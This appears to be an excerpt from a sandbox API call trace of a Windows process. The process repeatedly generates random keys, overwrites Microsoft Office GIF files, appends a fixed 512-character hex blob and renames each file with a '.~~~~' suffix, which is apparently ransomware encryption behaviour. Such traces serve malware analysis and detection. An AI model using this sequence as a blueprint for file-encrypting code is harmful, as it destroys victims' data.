	[0130.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.349] GetLastError () returned 0x0
	[0130.349] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.350] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.350] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.351] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25034073504) returned 1
	[0130.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb723c1f0, dwHighDateTime=0x1d60e1e)) 
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822f08
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822f08 | out: hHeap=0x300000) returned 1
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2e50
	[0130.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.352] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.352] GetLastError () returned 0x0
	[0130.352] GetLastError () returned 0x0
	[0130.352] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.352] GetLastError () returned 0x0
	[0130.352] GetLastError () returned 0x0
	[0130.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffcbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.358] WriteFile (in: hFile=0x130, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x344, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x344, lpOverlapped=0x0) returned 1
	[0130.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.362] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.362] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.362] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.362] CloseHandle (hObject=0x130) returned 1
	[0130.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.363] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif.~~~~")) returned 1
	[0130.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.365] GetLastError () returned 0x0
	[0130.365] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.367] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.367] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.367] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25035702498) returned 1
	[0130.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7262350, dwHighDateTime=0x1d60e1e)) 
	[0130.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822f40
	[0130.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822f40 | out: hHeap=0x300000) returned 1
	[0130.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c30b0
	[0130.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.368] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.368] GetLastError () returned 0x0
	[0130.368] GetLastError () returned 0x0
	[0130.369] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.369] GetLastError () returned 0x0
	[0130.369] GetLastError () returned 0x0
	[0130.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffff6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.370] WriteFile (in: hFile=0x130, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x96, lpOverlapped=0x0) returned 1
	[0130.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.373] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.373] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.373] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.373] CloseHandle (hObject=0x130) returned 1
	[0130.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif.~~~~")) returned 1
	[0130.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.429] GetLastError () returned 0x0
	[0130.429] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.430] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.430] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.431] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25042082708) returned 1
	[0130.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb72fa8d0, dwHighDateTime=0x1d60e1e)) 
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822fe8
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822fe8 | out: hHeap=0x300000) returned 1
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3148
	[0130.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.432] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.432] GetLastError () returned 0x0
	[0130.432] GetLastError () returned 0x0
	[0130.432] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.432] GetLastError () returned 0x0
	[0130.432] GetLastError () returned 0x0
	[0130.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffea2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.435] WriteFile (in: hFile=0x130, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x15e, lpOverlapped=0x0) returned 1
	[0130.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.438] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.438] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.438] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.439] CloseHandle (hObject=0x130) returned 1
	[0130.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif.~~~~")) returned 1
	[0130.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.441] GetLastError () returned 0x0
	[0130.441] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.442] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.442] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.442] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25043257204) returned 1
	[0130.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7320a30, dwHighDateTime=0x1d60e1e)) 
	[0130.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823020
	[0130.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823020 | out: hHeap=0x300000) returned 1
	[0130.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c3310
	[0130.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.443] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.444] GetLastError () returned 0x0
	[0130.444] GetLastError () returned 0x0
	[0130.444] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.444] GetLastError () returned 0x0
	[0130.444] GetLastError () returned 0x0
	[0130.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffc22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.446] WriteFile (in: hFile=0x130, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x3de, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3de, lpOverlapped=0x0) returned 1
	[0130.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.449] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.449] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.449] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.449] CloseHandle (hObject=0x130) returned 1
	[0130.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.450] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif.~~~~")) returned 1
	[0130.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.451] GetLastError () returned 0x0
	[0130.452] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0130.453] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.453] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0130.453] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25044313243) returned 1
	[0130.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7320a30, dwHighDateTime=0x1d60e1e)) 
	[0130.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823058
	[0130.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823058 | out: hHeap=0x300000) returned 1
	[0130.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c33a8
	[0130.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.454] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0130.454] GetLastError () returned 0x0
	[0130.454] GetLastError () returned 0x0
	[0130.454] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0130.454] GetLastError () returned 0x0
	[0130.455] GetLastError () returned 0x0
	[0130.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff890, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.457] WriteFile (in: hFile=0x130, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x770, lpOverlapped=0x0) returned 1
	[0130.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.459] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.459] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.459] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.459] CloseHandle (hObject=0x130) returned 1
